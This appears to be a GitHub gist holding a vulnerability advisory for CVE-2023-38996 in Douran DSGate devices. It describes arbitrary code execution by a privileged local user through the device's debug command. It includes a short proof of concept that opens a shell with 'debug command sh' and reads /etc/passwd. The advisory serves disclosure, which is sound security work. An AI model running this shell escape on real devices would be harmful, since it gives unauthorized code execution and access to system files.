Skip to content

Instantly share code, notes, and snippets.

@RNPG

RNPG/ArbitraryCodeExecution on DSGate Devices - CVE-2023-38996.txt Secret

Last active August 22, 2023 10:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RNPG/53b579da330ba896aa8dc2d901e5e400 to your computer and use it in GitHub Desktop.
Save RNPG/53b579da330ba896aa8dc2d901e5e400 to your computer and use it in GitHub Desktop.
Download ZIP
ArbitraryCodeExecution on DSGate Devices - CVE-2023-38996
Raw
ArbitraryCodeExecution on DSGate Devices - CVE-2023-38996.txt
Vulnerability Type: Exposure of Resource to Wrong Sphere
Vendor of Product: Douran
Affected Product: DSGate
Product Version: Any
Description: An issue in Douran DSGate allows a local authenticated privileged attacker to execute arbitrary code via the debug command.
Attack Vectors: debug command
Attack Type: Local
Payload: debug command sh
Assigned CVE-ID: CVE-2023-38996
Discoverer: Alireza Mostamea, Mohammad Reza Mostamea, Raspina Net Pars Group (RNPG Ltd.)
#PoC
> debug command sh
> busybox cat /etc/passwd
> exit
Result: Content of /etc/passwd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment